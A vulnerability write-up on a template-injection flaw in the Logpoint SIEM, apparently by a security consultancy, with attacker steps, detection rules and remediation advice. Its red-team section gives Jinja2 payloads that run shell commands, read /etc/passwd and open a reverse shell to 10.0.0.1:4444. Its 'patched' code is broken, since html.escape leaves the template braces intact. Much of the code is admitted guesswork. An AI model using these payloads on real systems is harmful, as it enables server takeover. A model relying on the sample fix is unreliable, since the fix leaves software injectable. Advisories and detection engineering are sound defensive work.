CVE-2024-56085

Executive Summary

CVE-2024-56085 is a Server-Side Template Injection (SSTI) vulnerability in Logpoint, a Security Information and Event Management (SIEM) platform. An authenticated user can inject malicious payloads while creating a Search Template Dashboard. These payloads are then executed on the server, leading to Remote Code Execution (RCE). This vulnerability affects Logpoint versions prior to 7.5.0. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code). The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis. No public proof-of-concept (PoC) or exploit code is currently available.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby). It is a product-level vulnerability in the Logpoint SIEM platform.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the nature of the vulnerability (SSTI leading to RCE), a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs valid credentials to access the Logpoint interface.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full system access can lead to data exfiltration.
• Integrity (I): High (H) - Full system access can lead to data modification.
• Availability (A): High (H) - Full system access can lead to denial of service.

Base Score: 8.8 (High)

Threat Level: High. While no public exploit exists, the vulnerability is easily exploitable by authenticated users and can lead to full server compromise.

Deep Dive & Mechanics

Server-Side Template Injection (SSTI) occurs when user input is embedded into a template engine without proper sanitization. In Logpoint, the Search Template Dashboard feature allows users to create custom dashboards with search queries. The vulnerability lies in how the template engine processes user-supplied data.

When a user creates a Search Template Dashboard, the input is likely passed to a template engine (e.g., Jinja2, Freemarker, or similar) for rendering. If the input is not properly escaped or validated, an attacker can inject template directives that are executed on the server.

For example, if Logpoint uses a Python-based template engine like Jinja2, an attacker could inject:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

This would execute the id command on the server and return the output.

The vulnerability is triggered during the creation of the dashboard, not during viewing. This means an attacker with low privileges can create a malicious dashboard that executes code when the template is rendered.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.5.0): The vulnerable code likely directly passes user input to the template engine without sanitization. A simplified example:

from jinja2 import Template

def create_dashboard(user_input):
    template = Template(user_input)
    rendered = template.render()
    return rendered

Patched Code (7.5.0+): The patched code should sanitize or escape user input before passing it to the template engine. A simplified example:

from jinja2 import Template
import html

def create_dashboard(user_input):
    sanitized_input = html.escape(user_input)
    template = Template(sanitized_input)
    rendered = template.render()
    return rendered

Alternatively, the patched code might use a sandboxed template environment or disable dangerous features.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Valid credentials for a Logpoint instance (version < 7.5.0).
• Access to the Search Template Dashboard creation feature.

Exploitation Steps:

1. Log in to the Logpoint web interface.
2. Navigate to the Search Template Dashboard creation page.
3. In the template input field, inject a payload. For example, if the template engine is Jinja2:

   {{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}
   

4. Save the dashboard. The payload will be executed on the server.
5. The output of the command will be displayed in the dashboard or logged.

Advanced Payloads:

• Reverse shell:

  {{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read() }}
  

• Data exfiltration:

  {{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}
  

Blue Team (Defender)

Detection:

• Monitor for unusual template creation events in Logpoint logs.
• Look for payloads containing template syntax (e.g., {{, {%, {#).
• Use the Sigma and YARA rules provided in the Detection Engineering section.

Hunting:

• Search for recently created Search Template Dashboards.
• Review the content of dashboards for suspicious template directives.
• Check for outbound connections from the Logpoint server to unknown IPs.

Containment:

• Isolate the affected Logpoint server.
• Revoke credentials of users who created suspicious dashboards.
• Apply the patch by upgrading to version 7.5.0 or later.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to attacker-controlled IPs on common ports (e.g., 4444, 8080).
• Unusual HTTP requests containing template syntax in POST data.

File IOCs:

• Temporary files created by template execution (e.g., /tmp/*.py).
• Modified configuration files in the Logpoint installation directory.

Log IOCs:

• Log entries showing execution of system commands (e.g., whoami, id, cat /etc/passwd).
• Log entries with template syntax in the dashboard creation logs.

User IOCs:

• Users with low privileges creating dashboards with suspicious content.
• Multiple failed login attempts followed by successful dashboard creation.

Detection Engineering

YARA Rule

rule Logpoint_SSTI_Payload {
    meta:
        description = "Detects SSTI payloads in Logpoint Search Template Dashboards"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-56085"
    strings:
        $ssti1 = "{{" ascii wide
        $ssti2 = "{%" ascii wide
        $ssti3 = "{#" ascii wide
        $ssti4 = "config." ascii wide
        $ssti5 = "__class__" ascii wide
        $ssti6 = "__init__" ascii wide
        $ssti7 = "__globals__" ascii wide
        $ssti8 = "os.popen" ascii wide
        $ssti9 = "subprocess" ascii wide
    condition:
        any of ($ssti*) and (
            #ssti1 > 0 or
            #ssti2 > 0 or
            #ssti3 > 0
        )
}

Sigma Rule

title: Logpoint SSTI Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential SSTI payloads in Logpoint dashboard creation logs
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56085
logsource:
    product: logpoint
    service: dashboard
detection:
    selection:
        EventID: 1001  # Example event ID for dashboard creation
        Payload|contains:
            - '{{'
            - '{%'
            - '{#'
    condition: selection
falsepositives:
    - Legitimate use of template syntax in dashboards
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Logpoint SSTI Payload Outbound"; flow:to_server,established; content:"POST"; http_method; content:"/dashboard/create"; http_uri; content:"{{"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Logpoint: Upgrade to version 7.5.0 or later. This is the only official patch.
2. Restrict Access: Limit the ability to create Search Template Dashboards to trusted administrators only.
3. Review Dashboards: Audit all existing Search Template Dashboards for suspicious content.

Long-term Mitigations:

1. Input Validation: Implement strict input validation and sanitization for all user-supplied data.
2. Template Sandboxing: Use a sandboxed template environment that restricts access to dangerous functions.
3. Least Privilege: Ensure users have only the minimum privileges required for their roles.
4. Monitoring: Continuously monitor for SSTI attempts using the detection rules provided.

Workarounds (if patching is not immediately possible):

• Disable the Search Template Dashboard feature entirely.
• Implement a web application firewall (WAF) rule to block requests containing template syntax.

Valters IT
DevSecOps & Cyber Threat Intelligence